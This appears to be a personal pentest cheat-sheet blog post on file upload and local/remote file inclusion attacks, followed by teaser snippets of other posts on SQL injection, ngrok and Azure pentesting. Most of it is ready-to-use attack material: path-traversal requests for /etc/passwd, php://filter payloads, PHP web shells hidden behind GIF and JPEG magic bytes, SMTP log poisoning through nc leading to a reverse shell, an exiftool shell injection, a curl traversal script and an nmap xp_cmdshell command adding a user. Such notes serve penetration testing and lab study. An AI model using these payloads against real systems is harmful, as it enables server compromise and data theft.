Skip to main content

File Upload Vulnerability - LFI/RFI


Try These for Local File Inclusion

http://10.10.10.10/?page=/etc/passw http://10.10.10.10./?page=../../../../../../../etc/passwd http://10.10.10.10/?page=php://filter/convert.base64-encode/resource=index   ?url=/../../../..//etc/apache2/sites-available/000-default.conf
#View Acess logs in proc env - there is a symbolic link to some random number. so bruteforce it using intruder
?url=/../../../../proc/self/fd/§num$ 
File Upload Steps

1) Change the filename to php,php5
2) add the below content to the file
 GIF8;
<?php echo exec("cat /etc/passwd"); ?>
or
\0xFF\0xD8\0xFF\0xE0<?php echo
exec("cat /etc/passwd"); ?>3)
4) try using the wordlist
5) check for
/proc/self/environ for LFI
6) <?php echo file_get_contents('/etc/passwd'); ?>
7) While Uploading the file look for "Content Disposition: form-data; name='somename'; filename="filename.jpeg""
In this case, change the filename to "filename=../filename.php"; to include a path-traversal vuln
or
filename="..%2ffilaname.php"

LFI can be exploited in the cookie

#lang is vulnerable here;
Cookie: lang=../../../../etc/passwd    if there is a include() function in the source code, it is vulnerable to path traversal.

LFI On SMTP 

If SNMP(Port 25) port is available, there might be a chance of LFI as well. check for it., this can be done by log poisoning. use the following commands: nc VICTIM_IP 25 HELO anyname MAIL FROM:"fraek <?php echo shell_exec($_GET['cmd']);?>" RCPT TO: root DATA . Postfix smtp logs can be found at /var/log/mail now if you found a LFI //192.168.56.103/turing-bolo/bolo.php?bolo=../../../../var/log/mail&cmd= URL encode PHP or PERL reverse shell and pass it as a variableto cmd prameter. and you get a reverse shell 
LFI to RCE 
when you do not have access to /var/log/apache2/access.log directly when you have LFI on the target,use the below

#send the request to intruder and add proc/self/fd/§num§ and add a new position to bruteforce with numbers

/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../../proc/self/fd/§num$
#start the attack

exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' image.jpg

Steps to Perform LFI


1.   Intercept to Burp
2.   Change Content type to image/gif  or image/jpeg
3.   Add File Signature (magic Numbers) at the starting of the file. Example: GIF8;
GIF8;
<?php
echo exec("cat /etc/passwd");
?>
4.   Change the file extension to PHP
5.   if PHP change it to gif.PHP5, php4 or something like that  
6. if anything above doesnt work - try something like changing php to PHP or PHP5 or PHP4 or php5 or php4 ..  
7. Paste your reverse shell at the end of file; let there be the file signatures of the original file.  
8. In Case you are sure there is a RFI/LFI and not able to see the output in the browser,try the same with curl

curl -s --data-urlencode urlConfig=../../../../../../../../../etc/passwd http://192.168.227.130/administrator/alerts/alertConfigField.php

#!/bin/bash
_HOST=192.168.100.130
_PATH=administrator/alerts/alertConfigField.php
_PARM=urlConfig
_TRAV=../../../../../../../..
curl -s --data-urlencode "${_PARM}=${_TRAV}$1" $_HOST/$_PATH \
| sed -r 's/^ {8}//' \
| sed '71,$!d' \
| sed '$d' \
| sed '$d'




After Uploading
1. Try to run the file along with reverse shell 
2. Intercept the request, if it is not a reverse shell, just a command executor
<?php system($_REQUEST['HackingDream']);?>
--> change the "Request Method" to post;

    type HackingDream=whoami; will get the output in response

Comments

Popular posts from this blog

SQL DB & SQL Injection Pentest Cheat Sheet

1) MSSQL Injection Cheat Sheet | pentestmonkey 2) xp_cmdshell | Red Team tales 3) PentesterMonkey SQL Injection Cheatsheet Use dbeaver for GUI Access 4) SQL Injection Explanation | Graceful Security Common Ports Microsoft SQL: 1433/TCP (default listener) 1434/UDP (browser service) 4022/TCP (service broker) 5022/TCP (AlwaysOn High Availability default) 135/TCP (Transaction SQL Debugger) 2383/TCP (Analysis Services) 2382/TCP (SQL Server Browser Service) 500,4500/UDP (IPSec) 137-138/UDP (NetBios / CIFS) 139/TCP (NetBios CIFS) 445/TCP (CIFS) Oracle SQL: 1521/TCP 1630/TCP 3938/HTTP MongoDB : 27017,27018,27019/TCP PostgreSQL: 8432/TCP MySQL: 3306/TCP SQL DB Enum with nmap: nmap -p 1433 —script ms-sql-info —script-args mssql.instance-port=1433 IP_ADDRESS nmap -Pn -n -sS —script=ms-sql-xp-cmdshell.nse IP_ADDRESS -p1433 —script-args mssql.username=sa,mssql.password=password,ms-sql-xp-cmdshell.cmd="net user bhanu bhanu123 /add" nmap -Pn -n -sS —script=ms-sql-xp-cmds...

Host and Application locally and access it over the internet via ngrock

 ngrock creates a tunnel from your local machine to ngrock server and host it on the internet via their HTTPS url  Resister an account on ngrock and login #Download the client curl -sSL https://ngrok-agent.s3.amazonaws.com/ngrok.asc \ | sudo tee /etc/apt/trusted.gpg.d/ngrok.asc >/dev/null \ && echo "deb https://ngrok-agent.s3.amazonaws.com buster main" \ | sudo tee /etc/apt/sources.list.d/ngrok.list \ && sudo apt update \ && sudo apt install ngrok #add the authToken ngrok config add-authtoken 2p7Oc #start a python server on your application python -m http.server 3000 #start the server - use the same port as the python server (3000 in below example) ngrok http http://localhost:3000 --request-header-add "ngrok-skip-browser-warning: true" Setting up a Request Header - Login to the application --> Univeral Gateway --> Edges - Create an Edge --> Request Headers --> `ngrok-skip-browser-warning :12 - go back to overv...

Cloud Pentest Cheatsheet - Azure

Azure Cloud offers a comprehensive ecosystem of tools and services. Among its core components are: Azure Active Directory (AAD) Azure Resource Manager (ARM) Office 365 (O365) Initial Access Try to get a user credential via OSINT/Social engineering or try to comprise a web application hosted on Azure VM. Enumerate the roles attached to the VM and try to escalate your privileges.  Entra ID Directory Role Entra ID directory roles are predefined roles that grant permissions to perform specific tasks within an Azure AD tenant. These roles are essential for managing administrative tasks in Entra ID. Types of Roles: Built-in Directory Roles Global Administrator Application Administrator User Administrator Custom Directory Roles Accessing APIs in Azure Entra ID - Access via Microsoft Graph API Endpoint {HTTP method} https://graph.microsoft.com/{version}/{resource}?{query-parameters} Azure Resource Manager API Endpoint (ARM-specific) {HTTP method} https://management.azure.com/{...